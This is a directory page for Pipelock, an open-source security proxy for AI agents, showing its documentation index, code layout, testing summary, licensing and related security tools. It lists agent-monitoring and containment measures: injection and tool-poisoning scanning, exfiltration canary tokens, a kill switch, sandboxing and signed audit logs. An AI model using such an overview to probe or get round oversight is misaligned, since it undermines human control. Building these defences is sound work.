What verified Audit Packets prove, what they do not prove, and the trust assumptions relying parties must pin

Receipt Transport Coverage

Receipt emission matrix across fetch, forward, CONNECT/TLS, WebSocket, MCP, and A2A paths

Learn-and-Lock

Per-agent behavioral contracts: observe, compile, shadow, ratify, promote (v2.4)

Federation

Inbound mediation envelope verification, SPIFFE actor format, RFC 9421 well-known directory (v2.4)

Block-Reason Header

X-Pipelock-Block-Reason schema, reason vocabulary, retry hints (v2.4)

Health Endpoint

/health 503 wedge detection, subsystem heartbeats, operator dashboard config (v2.4)

Host Containment

pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh for 3-UID nftables owner-match containment with kernel-observed posture attestation (v2.5)

MCP Integrity Manifests

Generate, verify, sign, and require trusted MCP binary-integrity manifests (v2.5)

Adaptive CLI

Inspect and flush adaptive-enforcement runtime state through the admin API (v2.5)

Conductor

The Enterprise fleet control plane: policy distribution, audit sink, remote kill, rollback, mTLS/SPIFFE trust, licensing (v2.7, Enterprise)

Conductor Operator Runbook

Hands-on local fleet walkthrough: bootstrap, serve, sign a batch, verify offline

Conductor Operator Quickstart

Zero to a read-only fleet audit: license, operator mTLS cert, auditor token, read-only commands

Kubernetes Enterprise Deployment

Helm-based Conductor fleet: control plane, followers, fleet-sink, PKI Secrets, NetworkPolicies

pipelock license

Install, inspect, and check the license that unlocks paid features (Pro agents, Enterprise fleet)

pipelock baseline

Inspect, ratify, and relearn behavioral-baseline profiles through the authenticated admin API

Posture Capsule

Signed posture snapshots, posture verify CLI, CI gate, scoring model

pipelock init sidecar

Generate enforced Kubernetes companion-proxy manifests and MCP launcher contracts (strategic-merge, Kustomize, Helm values)

pipelock session

Operator CLI for airlock inspection and recovery (list, inspect, explain, release, terminate, recover)

pipelock keys status

Unified signing-key inventory: per-purpose source, presence, readability, validity, and public-key fingerprint

Flight Recorder

Hash-chained signed evidence log: default-on behavior, transcript-root seal, redaction, escrow, key rotation

TLS Interception

CONNECT-tunnel MITM: CA setup, body/header/response scanning, passthrough domains

Canary Tokens

Synthetic secrets that trip an alert the moment an agent tries to exfiltrate one

Detection Integration

Feed Pipelock decisions and evidence into external detection / SIEM pipelines

PR Review

Manual-trigger AI security review for pull requests (/review comment)

MCP Inspector Front

Front MCP dev tools (Inspector, test servers) through Pipelock scanning

pipelock demo

Self-contained attack scenarios with signed, offline-verifiable receipts, no config or network needed

Badges

Drop-in Markdown for the scanned by pipelock badge on downstream projects


Project Structure

cmd/pipelock/          CLI entry point
internal/
  cli/                 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
    diag/              `pipelock doctor` and install-verification diagnostics
    session/           `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
    setup/             `pipelock init sidecar`: companion-proxy manifest generation (K8s)
  config/              YAML config, validation, defaults, hot-reload (fsnotify)
  scanner/             Ordered URL scanning pipeline + response injection detection
  audit/               Structured JSON logging (zerolog) + event emission dispatch
  proxy/               HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
  mcp/                 MCP proxy + bidirectional scanning + tool poisoning + chains
    integrity/         MCP binary/script integrity manifests and trust workflow
  discover/            IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
  killswitch/          Emergency deny-all (6 sources) + port-isolated API
  envelope/            Mediation envelope (RFC 8941) for sideband metadata
  media/               Image metadata stripping (JPEG/PNG byte-level surgery)
  normalize/           Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
  receipt/             Action receipt signing + hash-chained evidence
  posture/             Posture capsule schema, signing, scoring, verify policy
  session/             Session state, taint classification, task boundaries, trust overrides
  rules/               Bundle loader, tier taxonomy, RequiredFeatures enforcement
  sandbox/             Landlock, seccomp, netns, macOS sandbox-exec
  shield/              Airlock, browser shield, SVG hardening
  signing/             Ed25519 key management
  integrity/           SHA256 file integrity monitoring
  report/              HTML/JSON audit report generation
enterprise/            Multi-agent features (ELv2)
sdk/conformance/       Cross-implementation receipt verification test vectors
charts/                Helm chart for Kubernetes deployment
configs/               7 built-in preset config files
docs/                  Guides, references, compliance mappings

Testing

Pipelock is tested like a security product. The open-source core has unit, integration, and end-to-end tests. A separate private adversarial suite exercises attack classes against the production binary. Every bypass graduates into a regression test before release.

Metric

Value

Go tests (with -race)

Unit, integration, and end-to-end paths

Coverage gate (codecov)

91% Apache-2.0 core project, 95% patch on new code

Evasion coverage

Public bypass-resistance matrix + private adversarial corpus

Scanner hot-path overhead

~40us per URL scan (hot-path benchmark; see docs/performance.md)

CI matrix

Go 1.25 + 1.26, CodeQL, golangci-lint

Supply chain

SLSA provenance, CycloneDX SBOM, cosign signatures

Run make test to verify locally. Independent benchmark: the public agent-egress-bench corpus. See the live results.


Credits

Contributions welcome. See CONTRIBUTING.md for guidelines.

If Pipelock is useful, please star this repository. It helps others find the project.


License

Pipelock core is licensed under the Apache License 2.0. Copyright 2026 Joshua Waldrep.

Multi-agent features (per-agent identity, budgets, and configuration isolation) are in the enterprise/ directory, gated by the enterprise build tag and licensed under the Elastic License 2.0 (ELv2). These features activate with a valid license key.

The open-source core works independently without paid features. All scanning, detection, and single-agent protection is free.

Pre-built release artifacts (Homebrew, GitHub releases, Docker images) include paid-tier code that activates with a valid license key. Building from source with go install or the repository Dockerfile produces a Community-only binary.

See LICENSE for the Apache 2.0 text and enterprise/LICENSE for the ELv2 text.

A
license - permissive license
-
quality - not tested
A
maintenance

Maintenance

Maintainers
8hResponse time
3dRelease cycle
47Releases (12mo)
Commit activity
Issues opened vs closed

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • A
    license
    -
    quality
    C
    maintenance
    MCP server for AI agent security guardrails. Provides input validation, prompt injection detection, PII redaction, output filtering, policy enforcement, rate limiting, and comprehensive audit logging.
    Last updated
    48
    1
    MIT
  • A
    license
    -
    quality
    C
    maintenance
    A drop-in proxy that guards MCP servers with policy enforcement, secret redaction, prompt-injection screening, rug-pull detection, rate limiting, and audit logging.
    Last updated
    17
    Apache 2.0
  • A
    license
    C
    quality
    D
    maintenance
    Security scanner and MCP server that catches dangerous patterns in MCP servers and AI agent projects, such as leaked secrets, shell execution, and prompt-injection text. Runs as both a CLI and MCP server with CI-friendly severity gates.
    Last updated
    2
    1
    MIT

View all related MCP servers

Related MCP Connectors

  • Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.

  • Security firewall for AI agents — scans MCP calls for injection, secrets, and risks.

  • The WAF for agents. Pattern-based + heuristic firewall scans prompts, RAG documents, tool argume...

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/luckyPipewrench/pipelock'

If you have feedback or need assistance with the MCP directory API, please join our Discord server